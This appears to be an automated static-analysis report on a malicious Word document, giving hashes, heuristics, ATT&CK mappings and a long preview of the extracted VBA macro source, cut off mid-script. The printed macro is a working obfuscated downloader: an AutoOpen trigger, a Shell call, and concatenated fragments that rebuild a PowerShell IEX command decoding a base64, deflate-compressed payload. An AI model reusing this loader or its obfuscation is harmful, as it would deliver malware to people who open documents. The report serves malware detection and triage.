Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8dc19d36c2c55fd5…

MALICIOUS

Office (OLE)

168.0 KB Created: 2018-04-25 21:41:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 49d640eb483be5c7cda5c8f76379dfc3 SHA-1: ad4df46c80175f1591a6f458a8f694703ba1c0c0 SHA-256: 8dc19d36c2c55fd56a3bd05b9c87db91413247d16bfaf5bd37d7fcd910912e80
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The critical heuristic 'OLE_VBA_SHELL' and the presence of a VBA macro named 'macros.bas' indicate that the script is designed to execute system commands. The obfuscation suggests an attempt to evade detection, and the likely intent is to download and execute a second-stage payload.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
Shell ulnCzznEau + Chr(vbKeyC) + ZjikQYuNkcTk + hZUTwLi + DXjYGKl, XHqjOk + 0 + XHqjOk
Select Case LNhPS
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 52308 bytes
SHA-256: 1c83e2e6a563a4bf126f806475dc16d63c877964a4b7c35ad4a31937d8c2eb3f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
760 of 1152 identifiers look randomly generated (e.g. 'NGzvYWlsonWQntrVu'); 92 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "fvzMEnrcmL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "YJMVhOzYRfoupD"
Sub dCHWQ(uwlwfH)
Select Case wwzZF
         Case 33160
            MSaPz = Hex(PazwQ - ChrW(wjMHa))
            mOiLb = CByte(48218)
            HmbSj = pYuzL
         Case 55060
            ZJQTBm = OJbkrZ
            SCiBq = Round(2483)
            pUoHR = Log(asDlBi)
End Select
End Sub
Function XJsPjUhjqJ()
On Error Resume Next
Select Case zzrkdr
         Case 10394
            FvXFr = Hex(wWtFuD - ChrW(TVQNN))
            KwXjzk = CByte(11553)
            QmkRA = NdwlG
         Case 93009
            iRHMjM = ddaXP
            uQiPaU = Round(72527)
            ijIoui = Log(qZiGRI)
End Select
EJwsf = Ykwra("szNw'Lft) ,[sYSTem.IO.COm'+'p'+'r'+'E.rf", sAEzd - sAEzd + 5 + sAEzd - sAEzd, sAEzd - sAEzd + 33 + sAEzd - sAEzd)
Select Case hQUOYh
         Case 44396
            LNBEiz = Hex(hLmKzA - ChrW(wXoiin))
            vQwnS = CByte(68809)
            uMvER = Xvnqzz
         Case 90448
            TTGKcz = wZqCj
            QwDQLN = Round(56753)
            zqGjEJ = Log(kwihs)
End Select
Select Case LCNWP
         Case 31698
            fVnBis = Hex(AoVHB - ChrW(Fbkbrn))
            BdtUoG = CByte(52439)
            JjLca = UDzRYu
         Case 28300
            CbXiF = jRmfb
            cBcTNb = Round(33867)
            rFKfbt = Log(YkJStZ)
End Select
ONpLzYBmAU = Ykwra("fYLwSSiO'+'N.COM'+'PRe'+'s'+'S'+'IoNmOdE]::dEcOmPre'+'SS))'+',[te'+'xT.enCoding]'+':'+':aSCiI))'+'.re'+'aDtOENd()').RePlaCe(([chAr]67+[chAr]114+[chAr]115),'$'jiofN", czrdq - czrdq + 5 + czrdq - czrdq, czrdq - czrdq + 154 + czrdq - czrdq)
Select Case bSwKBW
         Case 80777
            wjAwLS = Hex(jEwdlO - ChrW(QsCLUL))
            cMiCha = CByte(19191)
            Cavmz = iidhR
         Case 95280
            FWPnh = BDHpCi
            UTSvi = Round(84662)
            JBVhw = Log(nmNZi)
End Select
Select Case Rtwstn
         Case 78026
            jVjAfp = Hex(HwrPN - ChrW(IuzTGv))
            rDzJdT = CByte(44352)
            bpKGoY = XGGMqw
         Case 87183
            lIqHIw = YmsAwf
            aWLSX = Round(61337)
            jIZTR = Log(tMuEp)
End Select
bRFTsBi = Ykwra("NjG2'+'18'+'bNt'+'4c'+'bZ+DLiyc'+'W'+'nBrqurosxI0e'+'eCVSkuxt'+'8UG'+'3Mz'+'24'+'g'+'hK'+'I'+'kKWIpaC'+'s4F'+'SLi'+'kM12ae2'+'+7tK'+'pr'+'NnGxNvl'+'wlt4hGGJ'+'3vT'+'ST0Wl9Vwtw'+hMsw", NcWpS - NcWpS + 4 + NcWpS - NcWpS, NcWpS - NcWpS + 174 + NcWpS - NcWpS)
Select Case cNAnMO
         Case 86978
            RYNoaL = Hex(jjAXb - ChrW(UFzQn))
            bFLsnK = CByte(99979)
            IZjzE = CpIvlt
         Case 11074
            MdtjO = HIBWYX
            YFfad = Round(50545)
            tGzAT = Log(KiwEfu)
End Select
Select Case tjrNTB
         Case 98209
            tRbYEV = Hex(EFQbtl - ChrW(fYhwUB))
            OOlVwv = CByte(65694)
            PCzuRE = UiUmrf
         Case 34555
            sfvLES = UjzofD
            CHZLGq = Round(26047)
            zUdiEC = Log(iKOwnt)
End Select
RznmXGvOim = Ykwra("RiJk'+'El9'+'oxFt4YKox/'+'DyL'+'5UZ'+'u9Rzgd1H/p'+'9wYDyzHc6eQbRPj'+'+Lt'+'F6N7T'+'thGZR'+'XKiDJDKzx1X+1o'+'+X9u'+'g'+'f'+'RorRbKeE1LQiT'+'OX9kUE", FsiwHv - FsiwHv + 4 + FsiwHv - FsiwHv, FsiwHv - FsiwHv + 138 + FsiwHv - FsiwHv)
Select Case Akdiji
         Case 31301
            cZtibN = Hex(fYbMO - ChrW(biVNdr))
            majPwL = CByte(13356)
            ibHfNB = DpabQV
         Case 59834
            VbiKZB = QGqRK
            qdhPG = Round(44151)
            wThBij = Log(jnBbdH)
End Select
Select Case zKibP
         Case 90403
            sjQWDU = Hex(zBVjz - ChrW(tjONi))
            tQdwNu = CByte(504)
            czJwVa = EFzpE
         Case 28658
            aqaYFP = RvQtn
            JOjDc = Round(6382)
            pAsZLZ = Log(oaPYd)
End Select
kWDfpnX = Ykwra("jOoVc& ( $PsHOME[4]+$psHome[30]+'X')( (' '+'& ( CrseNv:C'+'omSpe'+'C['+'4,15'+',25]'+'-jhSYr", NoSBho - NoSBho + 6 + NoSBho - NoSBho, NoSBho - NoSBho + 83 + NoSBho - NoSBho)
Select Case JqnWo
         Case 77119
            PLBsCi = Hex(tpWvM - ChrW(duawA))
            jzfqj = CByte(83871)
            ZsTbM = oSVdw
         Case 98660
            cAWwE = McjPQ
            VbHmjV = Round(40681)
            mIjaO = Log(jXjIQ)
End Select
Select Case nzaOiH
         Case 84392
            fCFaId = Hex(ukhnh - ChrW(YIOwFn))
            bsFIl = CByte(45008)
            BWsrb = jzivpR
         Case 60797
            BOIRK = OpLRZ
            cJmzz = Round(79896)
            TSXrpM = Log(tbZTHo)
End Select
SEhwrBjTwz = Ykwra("rjesTrEa'+'M( ['+'Sy'+'s'+'tEm.iO.meMORysTrEAM][SYs'+'TEm.CONVert]:'+':fr'AsiizVc", zikjcj - zikjcj + 3 + zikjcj - zikjcj, zikjcj - zikjcj + 72 + zikjcj - zikjcj)
Select Case Gaizq
         Case 52452
            vMLaS = Hex(FZKlw - ChrW(fMpdWS))
            KUnPs = CByte(19198)
            MVjIAG = bXGMR
         Case 45518
            uTRoU = IvRwH
            lRpIwS = Round(31702)
            ujqBlr = Log(EojQEv)
End Select
Select Case imhIJ
         Case 98041
            zwSiww = Hex(jSIwBc - ChrW(tTwkXR))
            IWwok = CByte(81339)
            ldOzzI = wfusAC
         Case 10648
            ZdOLQ = TlXmhL
            cVtLIn = Round(89293)
            uzCTDw = Log(BsWPNu)
End Select
quoKT = Ykwra("o).RePlaCe('Lft',[sTRINg][chAr]39) )ws.fsPF", PAVbYB - PAVbYB + 2 + PAVbYB - PAVbYB, PAVbYB - PAVbYB + 35 + PAVbYB - PAVbYB)
Select Case TaZZGS
         Case 84848
            LRwwTK = Hex(hsOLY - ChrW(iLrMsf))
            fPSwuf = CByte(4969)
            mihbz = nkXHc
         Case 56482
            KiACW = oOhMN
            IKvzwB = Round(77575)
            huJhj = Log(bqaUFQ)
End Select
Select Case hGYKJz
         Case 96875
            HVEHk = Hex(jZBDiL - ChrW(YqqVdP))
            YXNEbd = CByte(66649)
            ERNPSa = BzITp
         Case 37861
            bKzddJ = hofkM
            kHzjHK = Round(83738)
            jpOtW = Log(orNKa)
End Select
nKERL = Ykwra("A@jA'8ywV'+'Ab4R8MdzNxG5mY8G'+'OzS8uJFLRkiWnQM'+'mJIS'+'N'+'R'+'Mb'+'J11'+'cTrX'+'K'+'yWtq'+'fLX'+'MvOXNHyf+xlvXa'+'Wk9ak'+'8XfjCX8Q'+'t0+qg2tZy'+'4'+'Jfm'+'slLQPjWIPG", jUlRw - jUlRw + 5 + jUlRw - jUlRw, jUlRw - jUlRw + 158 + jUlRw - jUlRw)
Select Case bwDHz
         Case 99996
            bWcif = Hex(iWtzb - ChrW(iccrU))
            kHtbqb = CByte(40969)
            tRoEs = HlPwGH
         Case 67317
            nuvrlw = qwEjXN
            fAfBMW = Round(24448)
            ipHtF = Log(MilMAw)
End Select
Select Case NmwTC
         Case 33021
            InFkrb = Hex(vRMLAj - ChrW(hXpSA))
            CZlMk = CByte(14546)
            ZnRib = spdrMO
         Case 29160
            zVhtCh = jOIBC
            iiBsA = Round(68316)
            UHzik = Log(qMDfd)
End Select
vLWmzkRaQvz = Ykwra("O%'+'kU'+'P'+'Jpa4jTnE'+'o'+'auCLWeQaWyhgspQ5Y6x2axAR'+'kDWaC'+'CuslrjnUr'+'N'+'c7Lgmq'+'x'+'5'+'MM.IIc", wfzqX - wfzqX + 3 + wfzqX - wfzqX, wfzqX - wfzqX + 97 + wfzqX - wfzqX)
Select Case kiCEE
         Case 37564
            aDsYId = Hex(oOGcw - ChrW(fOKrV))
            JuqJdj = CByte(60043)
            RVbdwZ = Izcjr
         Case 9880
            UcFaj = YWXKj
            KnkuO = Round(78722)
            fGSmcj = Log(tWQhI)
End Select
Select Case wUshU
         Case 87739
            wJEsW = Hex(pqTpwO - ChrW(qZiXN))
            uHIwv = CByte(1143)
            FSzAr = hDzjT
         Case 93656
            YwqicD = zRYmVT
            wwnNI = Round(83924)
            kWqTw = Log(jzrtOa)
End Select
wwTVjuQoTd = Ykwra("PX89'+'K0'+'NunNYO7b'+'MKwzAKnUujG'+'qWnC+'+'XPw=='+rY", uzZNED - uzZNED + 5 + uzZNED - uzZNED, uzZNED - uzZNED + 48 + uzZNED - uzZNED)
Select Case iwQaUs
         Case 3655
            nuNfX = Hex(jELTKF - ChrW(obAPdI))
            AaiXu = CByte(83499)
            ChNsQp = wccnbD
         Case 95149
            jaEVwt = QLqkj
            NPqkf = Round(25788)
            WwauPt = Log(zXbCEU)
End Select
Select Case vwisjI
         Case 23369
            SLdHGO = Hex(rvlhiL - ChrW(SOsjW))
            wAlPad = CByte(25676)
            OpdPF = hffIvA
         Case 2480
            RhkGP = dPzzmj
            RaNjdB = Round(39090)
            FHSZih = Log(jknWii)
End Select
hMksthrnLKk = Ykwra("sEwrO'+'inLf'+'tLft)'+' ( new-O'+'bjeCT '+' '+'Sy'+'ST'+'eM.IO'+'.sTr'+'E'+'a'+'M'+'rEadeR'+'( ( new-Ob'+'jeCT  sySTeM.'+'iO.C'+'OM'+'pReSSiOn.DEFLAtaX", tESZv - tESZv + 5 + tESZv - tESZv, tESZv - tESZv + 145 + tESZv - tESZv)
Select Case EfTNjt
         Case 97938
            ddYwQE = Hex(bRwjp - ChrW(ZShlz))
            fPMPCF = CByte(66322)
            iNQUb = PdoAhR
         Case 66983
            IVXzo = iNmcj
            TaRNW = Round(82795)
            iiOBiF = Log(wwdjD)
End Select
Select Case SwjCMw
         Case 78185
            FFVCnk = Hex(cRzzFt - ChrW(Bzovlw))
            IQwEH = CByte(36898)
            FTBrn = RikLcd
         Case 51012
            oGDDlj = iOQMpT
            pYzjRV = Round(44092)
            zHSPUX = Log(dSIYP)
End Select
ZiqDqfc = Ykwra("zi+'ombAse64sTRiNG'+'('+' LftPZFha8IwEIa/'+'D'+'/'+'YfgpSlRU2njjEs'+'A6'+'tuIgP90'+'Dkn7'+'EPTNG1j28S1sSr'+'if9+1DgM'+'XDp737s1d'+'D'+'Fn'+'SkJY'+'hek.zAr9", HNHqsF - HNHqsF + 3 + HNHqsF - HNHqsF, HNHqsF - HNHqsF + 147 + HNHqsF - HNHqsF)
Select Case KsBVm
         Case 32889
            FkfzK = Hex(oLNwM - ChrW(WpIwl))
            MYVkw = CByte(8790)
            Ddijw = iEztN
         Case 54254
            EAiBP = vTtdC
            QAZsBU = Round(74556)
            jHqKfQ = Log(hBWwuU)
End Select
PZzhazCfYTl = RMpTVbIwJ + """" + cjjKFLzYaBozJY
XJsPjUhjqJ = vfRlcrSc + wjORXhHbzj + fIsiojvakKL + PZzhazCfYTl + DizKRizrh + kWDfpnX + hMksthrnLKk + SEhwrBjTwz + ZiqDqfc + vLWmzkRaQvz + RznmXGvOim + bRFTsBi + nKERL + wwTVjuQoTd + EJwsf + ONpLzYBmAU + quoKT
Select Case kccqYY
         Case 39374
            bTDRz = Hex(sujmR - ChrW(IjbrI))
            ZPjGz = CByte(33548)
            aOHlbz = nJYPK
         Case 71817
            dSXBLZ = nDBkh
            wEiVU = Round(72342)
            XHlIEn = Log(hzILh)
End Select
End Function
Sub dczKKp(mwLrbH)
Select Case WVQwUb
         Case 57138
            pcMkDF = Hex(FqiMq - ChrW(qFTrBI))
            rIzfJp = CByte(7112)
            nohDE = mVwalm
         Case 31350
            VIPQBj = wFSSC
            hfjaOC = Round(98600)
            BBJlz = Log(kURQV)
End Select
End Sub

Attribute VB_Name = "BFpSzXk"
Sub aUHGfEcfc()
On Error Resume Next
Select Case Czrtur
         Case 30114
            airbRn = Hex(jwwuC - ChrW(sktYS))
            KOjucO = CByte(91533)
            nLHKw = SwFZz
         Case 5546
            hvHil = XKMzV
            KFSqkP = Round(24813)
            blYon = Log(zwviUZ)
End Select
End Sub
Sub AmIZHFGPQUim(ZjikQYuNkcTk As String)
On Error Resume Next
Select Case McSbP
         Case 82880
            YBaNmi = Hex(zzGVJm - ChrW(swXTqp))
            YOhcwN = CByte(96948)
            APUYYz = KKCFHB
         Case 96657
            JKmiTj = IZBOzm
            kpVpVz = Round(82655)
            lNjRl = Log(RliYa)
End Select
Select Case YRJif
         Case 91457
            HvWKz = Hex(RZMkRj - ChrW(wIZYwB))
            hqoTpZ = CByte(26158)
            SfqKZ = jFODld
         Case 39151
            FAQsba = skfdA
            QHDUY = Round(51125)
            GjuGGF = Log(CKVMX)
End Select
Shell ulnCzznEau + Chr(vbKeyC) + ZjikQYuNkcTk + hZUTwLi + DXjYGKl, XHqjOk + 0 + XHqjOk
Select Case LNhPS
         Case 11341
            iiTAX = Hex(nrjljZ - ChrW(lvEzmz))
            CNNhs = CByte(23477)
            brsfsb = qoiKLm
         Case 30492
            AmXlDk = JhdTl
            QRmIL = Round(98316)
            AnGrz = Log(uGZpaN)
End Select
End Sub
Function fIsiojvakKL()
On Error Resume Next
Select Case lCJMA
         Case 84040
            QMdUff = Hex(cwwFUV - ChrW(SswOUC))
            SZzNT = CByte(28209)
            NHUqj = SMLOd
         Case 53079
            zcmip = iTKLz
            pVwnfG = Round(22187)
            rOqcP = Log(TTFjjl)
End Select
jtYNkAsfKsH = Ykwra("MPHFGPQUim%=e^r&&setEYs82", iUXim - iUXim + 3 + iUXim - iUXim, iUXim - iUXim + 18 + iUXim - iUXim)
Select Case dPqmOY
         Case 21552
            jCwWLt = Hex(UZfHRL - ChrW(klKTEp))
            OdbMl = CByte(23261)
            HAQiA = LMtGDr
         Case 75275
            fBbTiv = EbuTWR
            YVJZh = Round(50059)
            YPZRa = Log(YrEQM)
End Select
Select Case sOdHs
         Case 83130
            wwVuO = Hex(EfaGFX - ChrW(ZbdTw))
            DcsRu = CByte(29403)
            iKawUw = bztzv
         Case 78894
            CfpElf = iQkKL
            nlGfbi = Round(72058)
            uEclH = Log(wchiX)
End Select
IFbNV = Ykwra("rao3kcTk%!!%dCcDa18", Pjczs - Pjczs + 5 + Pjczs - Pjczs, Pjczs - Pjczs + 12 + Pjczs - Pjczs)
Select Case EBzDM
         Case 17641
            WvtpnI = Hex(SpqOX - ChrW(DkIaM))
            dOHGj = CByte(11492)
            ElloDS = vOSAO
         Case 78131
            zwIlSG = DTtXq
            fVPpKj = Round(2555)
            XhBnw = Log(VoSHL)
End Select
Select Case WVwhrZ
         Case 22007
            ihjzG = Hex(wzlcQ - ChrW(hihAiZ))
            hVmTz = CByte(59465)
            WBvRC = FnbMm
         Case 71801
            NLwIo = jvsoz
            RUiwrO = Round(74421)
            kAuEU = Log(DiuCVO)
End Select
WqJrGLAOBlt = Ykwra("VYvhSJ%!!%zawVsdm%! sU5n", qiQzV - qiQzV + 3 + qiQzV - qiQzV, qiQzV - qiQzV + 18 + qiQzV - qiQzV)
Select Case KsVZdi
         Case 85342
            aiNzSk = Hex(bpjzzQ - ChrW(MRrnOB))
            BpTjA = CByte(14964)
            JZNjuY = WhHBp
         Case 18796
            ESXOj = fDhqPq
            ZouNRc = Round(33360)
            QVOFs = Log(qkkmZ)
End Select
Select Case cQwOH
         Case 49411
            jVFBi = Hex(wVqMjR - ChrW(MadiQw))
            drKqQw = CByte(53448)
            rbXEGt = QpRwGc
         Case 72227
            bTUfLC = UzKlvo
            PlfXY = Round(58809)
            ocLnk = Log(nMSqL)
End Select
XsjzOsWHmTY = Ykwra("cUjwsrSbEOFzW&&set %ztXHzO", twXvUU - twXvUU + 7 + twXvUU - twXvUU, twXvUU - twXvUU + 18 + twXvUU - twXvUU)
Select Case RiWvTQ
         Case 46599
            HZuUw = Hex(FZjSiE - ChrW(LmrIr))
            szHfUa = CByte(5578)
            ctpMG = aHOirp
         Case 95095
            NjAHH = Gwinbq
            EAuauv = Round(31831)
            jqFcEj = Log(XJRCc)
End Select
Select Case ZTTvG
         Case 39763
            BQRfO = Hex(ijNRmo - ChrW(GIJHG))
            wHzsP = CByte(63862)
            iLNvRH = Zfvlwp
         Case 89378
            NHwuqq = RJLpsW
            CXCwZ = Round(10644)
            SSAfB = Log(bMYLRT)
End Select
WFzlXhR = Ykwra("8!%ztXHqrziPXXs", lbfMSR - lbfMSR + 2 + lbfMSR - lbfMSR, lbfMSR - lbfMSR + 7 + lbfMSR - lbfMSR)
Select Case truVq
         Case 97487
            uEjbOQ = Hex(cXiwP - ChrW(IupwOp))
            TElAYZ = CByte(99477)
            KdhHa = YOjYQ
         Case 69987
            wopMBi = wCwGB
            TpSiD = Round(79394)
            tSuBq = Log(WjjFZw)
End Select
Select Case lqlih
         Case 85806
            lLoJF = Hex(cWHZW - ChrW(DHbDV))
            LzQpzu = CByte(37339)
            vfTBbV = shzds
         Case 7115
            iRZOw = cFJnQ
            WuBvNt = Round(80339)
            SzCFz = Log(iLZia)
End Select
iLijr = Ykwra("iKzPRWJZHGoU%=ju", FVPwn - FVPwn + 5 + FVPwn - FVPwn, FVPwn - FVPwn + 10 + FVPwn - FVPwn)
Select Case nzTzQj
         Case 95370
            MpVjlp = Hex(WqmjjC - ChrW(sjOTQw))
            QjfNnw = CByte(42847)
            BfdwrD = bWUIBL
         Case 40305
            uqaAHm = wTBLwI
            Twqdvo = Round(12646)
            nLkPF = Log(zIuavt)
End Select
Select Case UVjZl
         Case 5980
            cnJqz = Hex(lwElVp - ChrW(isOMBH))
            CKOuZ = CByte(87925)
            RdEUV = ViwRT
         Case 17574
            XwFwR = YUbHX
            izHSZ = Round(28039)
            GbTTA = Log(AnTEw)
End Select
niNrZJLMq = Ykwra("raYSvidSDNrHwmi%=zSsrM8", WMwPoR - WMwPoR + 2 + WMwPoR - WMwPoR, WMwPoR - WMwPoR + 17 + WMwPoR - WMwPoR)
Select Case tswfFE
         Case 30969
            RUCqVh = Hex(rCNLXD - ChrW(CjEcF))
            RUFPfK = CByte(56975)
            hUCNJl = lYczSU
         Case 17279
            FsYtrp = bdziL
            PmLLDR = Round(18771)
            LwNRCR = Log(bfmNI)
End Select
Select Case FqJujL
         Case 71593
            FUKWv = Hex(ljUMq - ChrW(wBZjz))
            wVXEH = CByte(79869)
            CVJwcE = lBlcRn
         Case 37400
            XrQdlc = DQZvTO
            nBNUi = Round(86795)
            bjrHwP = Log(PzSLwA)
End Select
hzBqilfO = Ykwra("wrUU%=ciPXw", zXGQmp - zXGQmp + 5 + zXGQmp - zXGQmp, zXGQmp - zXGQmp + 4 + zXGQmp - zXGQmp)
Select Case foiELK
         Case 34341
            WhljVO = Hex(OwEaGv - ChrW(YVpNu))
            SHjXNR = CByte(14224)
            jQXiY = MJWQti
         Case 58789
            VHWuCY = IOzPd
            PwOSEG = Round(46372)
            jhriMu = Log(zZUMJ)
End Select
Select Case zQOwTQ
         Case 18828
            UqqPRf = Hex(SLKMnd - ChrW(wbifY))
            jjRjoZ = CByte(96396)
            zzvKH = UEIlmA
         Case 28336
            GuMzCj = mTosc
            lYHash = Round(65824)
            NPBfs = Log(sStsXS)
End Select
dwXANtOa = Ykwra("@NGzvYWlsonWQntrVu%=1wj26", lbATPj - lbATPj + 4 + lbATPj - lbATPj, lbATPj - lbATPj + 17 + lbATPj - lbATPj)
Select Case cWWqWO
         Case 66839
            iGSfm = Hex(jBKuSj - ChrW(tfKSK))
            bTawUK = CByte(15313)
            BkjWS = IjJjzF
         Case 21278
            RizEl = jrMXL
            HrEJz = Round(40182)
            aiQaXA = Log(QKWaTE)
End Select
Select Case wwQcBJ
         Case 78981
            lXcwzi = Hex(GIInX - ChrW(hlFqI))
            sqLND = CByte(75928)
            rprbz = moDfFo
         Case 71741
            BmEocd = QKKlsp
            maJZLs = Round(76242)
            PhLwl = Log(iGzCX)
End Select
UmAzAAcvfb = Ykwra("1i.DiZJVkOjj", PBrwPY - PBrwPY + 6 + PBrwPY - PBrwPY, PBrwPY - PBrwPY + 5 + PBrwPY - PBrwPY)
Select Case qEGZbJ
         Case 51822
            ijpECp = Hex(cWjds - ChrW(lWXcjs))
            mELjV = CByte(6119)
            hUkwB = NmjrH
         Case 88370
            VBkTZi = FiiwuR
            naVGi = Round(98443)
            VIlibb = Log(wnjVmv)
End Select
Select Case VHfRn
         Case 93010
            jVlCj = Hex(RmlkcN - ChrW(joHNjD))
            TVBDO = CByte(5544)
            jcjdbT = WOCfY
         Case 81201
            lOViM = mjASh
            prNUho = Round(62862)
            iJFHB = Log(bJZEiL)
End Select
tXfsMlB = Ykwra("ss8qzpwSRPTQK%=RfKG", kUsJrM - kUsJrM + 4 + kUsJrM - kUsJrM, kUsJrM - kUsJrM + 12 + kUsJrM - kUsJrM)
Select Case uiHjZ
         Case 3488
            nCcOvr = Hex(SJuUrr - ChrW(ibINcT))
            cGvjWV = CByte(88828)
            GnImr = fhrLK
         Case 27471
            AfkrT = QGwSwi
            LvhiY = Round(42273)
            JDGMEz = Log(wuRCS)
End Select
Select Case WuCmX
         Case 73850
            uCScA = Hex(BzEQjj - ChrW(juQUjT))
            wIzQd = CByte(97727)
            FicQPT = IJXwEh
         Case 49960
            bwuvi = bdhGD
            MlCBz = Round(3828)
            wPcAU = Log(MblsW)
End Select
AwDciqEmwG = Ykwra("rwrsRbdCcDvhSJ%=he&&setsS", ccbLs - ccbLs + 7 + ccbLs - ccbLs, ccbLs - ccbLs + 17 + ccbLs - ccbLs)
Select Case mzfhAV
         Case 65633
            IdEuK = Hex(GNWGV - ChrW(CJdBww))
            iRsqlL = CByte(57274)
            OhECj = hPSLi
         Case 81290
            GwEiW = adVii
            uzDQm = Round(36577)
            jurfRE = Log(hUtKpQ)
End Select
Select Case qrUcY
         Case 28221
            frAvYK = Hex(boVvfC - ChrW(NqzvW))
            WZIMRw = CByte(94463)
            JSFaj = CXEKj
         Case 67351
            vRSJB = zcBVj
            RSFin = Round(58612)
            NaSVPV = Log(oNplpL)
End Select
AklzU = Ykwra("I %zaYczLw ", SbSnM - SbSnM + 2 + SbSnM - SbSnM, SbSnM - SbSnM + 3 + SbSnM - SbSnM)
Select Case nbIqCP
         Case 83336
            jHzYXR = Hex(zpRfHV - ChrW(cvDnFQ))
            mPfVOi = CByte(82864)
            skPlPu = Yqzis
         Case 31713
            UJESE = NmOJaL
            rRDJnE = Round(99853)
            jQWFoR = Log(MqbYV)
End Select
Select Case LdibB
         Case 42749
            RlZoSE = Hex(FBYMMm - ChrW(mtbDZ))
            HJEViu = CByte(23953)
            fcQdb = rdUitw
         Case 93101
            acAQv = YjGYc
            qIjEKY = Round(83792)
            ZYHjl = Log(MJZtK)
End Select
ZfZwJMsn = Ykwra("qs8%2UiX", vWQwZs - vWQwZs + 4 + vWQwZs - vWQwZs, vWQwZs - vWQwZs + 1 + vWQwZs - vWQwZs)
Select Case fjicUN
         Case 97000
            wwWsBj = Hex(iwPXUE - ChrW(wBURij))
            PJNNz = CByte(29157)
            ZDjza = HcCPhF
         Case 55036
            MJVpYp = hIDiPl
            mIiBRc = Round(17305)
            jauGhV = Log(EjZGdC)
End Select
Select Case idkRWC
         Case 97188
            QVdRZz = Hex(GpFho - ChrW(cdozq))
            FNuNQ = CByte(70251)
            ZjHtk = GtlHA
         Case 77732
            zwOmd = jjGzvU
            pskWHN = Round(63275)
            XazwV = Log(iXrWnI)
End Select
oEGqNuQB = Ykwra("i%=o^w&&set %VHmPMpLP9PUV", rXbZWs - rXbZWs + 2 + rXbZWs - rXbZWs, rXbZWs - rXbZWs + 19 + rXbZWs - rXbZWs)
Select Case OIzIj
         Case 74058
            nTjLZ = Hex(KNJPz - ChrW(HPZWPq))
            wAIPd = CByte(15368)
            KbjkO = afSEt
         Case 76411
            QXVOb = zBEpm
            RbpAfE = Round(5933)
            NuidZ = Log(bNbzU)
End Select
Select Case VPKdw
         Case 99719
            RpPii = Hex(DjaRqf - ChrW(jHTGlH))
            tCCnua = CByte(78116)
            wKHBRT = IwrbXf
         Case 19695
            prLUk = wErpO
            OmcjHq = Round(24238)
            PJoOYF = Log(XPJkFi)
End Select
TbshkfMLDDP = Ykwra("66,XGhtVzuZ", bTrZfu - bTrZfu + 5 + bTrZfu - bTrZfu, bTrZfu - bTrZfu + 3 + bTrZfu - bTrZfu)
Select Case MvjFEc
         Case 58
            PLCqM = Hex(UIUjT - ChrW(wfDww))
            PZpiFJ = CByte(87243)
            ZhzBm = nKtcLh
         Case 86379
            CHpDmM = hrmIZN
            QhGtzm = Round(90627)
            ISujio = Log(alPmlW)
End Select
Select Case crHHVM
         Case 64152
            GZzwT = Hex(ENXFa - ChrW(aGRNjC))
            ZNiVpj = CByte(47986)
            bvYbK = mUVKMD
         Case 13553
            FibqUW = atXTa
            zcDIS = Round(88912)
            dRwdPE = Log(lvDXwf)
End Select
IAGnYnF = Ykwra("s4mP2TQK%!!%ovcDmNYwUbSjYA1", sCWjis - sCWjis + 6 + sCWjis - sCWjis, sCWjis - sCWjis + 19 + sCWjis - sCWjis)
Select Case HzuwLC
         Case 91177
            BAIkW = Hex(rSCtJN - ChrW(ofzbP))
            jiqAUu = CByte(44986)
            cIJHrw = PzVihA
         Case 89003
            AipSYT = wXwTL
            LAnqz = Round(90755)
            JtmRP = Log(Yicwhi)
End Select
Select Case AZTOIL
         Case 73531
            Bznpti = Hex(zfFMr - ChrW(TVhRul))
            iNiAA = CByte(5841)
            SqhiF = vQZmsp
         Case 81531
            ClYNS = jEmzOa
            EnVnoq = Round(22784)
            HzbGsp = Log(wuZFu)
End Select
DjZdkqah = Ykwra("KJVwwBJd&&prw", BpVfcz - BpVfcz + 6 + BpVfcz - BpVfcz, BpVfcz - BpVfcz + 5 + BpVfcz - BpVfcz)
Select Case fbGnhO
         Case 81102
            DkQfY = Hex(cDzDwi - ChrW(vowGaw))
            IsYJfj = CByte(48310)
            PzHcV = DMKbT
         Case 97399
            svVGQQ = nJjGPM
            LMGAs = Round(34652)
            ozwWI = Log(sblfH)
End Select
Select Case daHZr
         Case 72102
            wSvOfN = Hex(ldYffz - ChrW(vLwKX))
            iOjPco = CByte(72757)
            sziGa = VhCmwQ
         Case 19570
            MYYlW = iOJPT
            Hhjfm = Round(81743)
            fsdtYF = Log(sNJLN)
End Select
CwGTTVIRin = Ykwra("t,zND%=!%XJsPjUhjqJ%!Xu", DPzCC - DPzCC + 5 + DPzCC - DPzCC, DPzCC - DPzCC + 17 + DPzCC - DPzCC)
Select Case aTCKr
         Case 81758
            kSiqP = Hex(ZlnwWA - ChrW(piWji))
            jPJUFz = CByte(3391)
            aofYn = YrNOni
         Case 73119
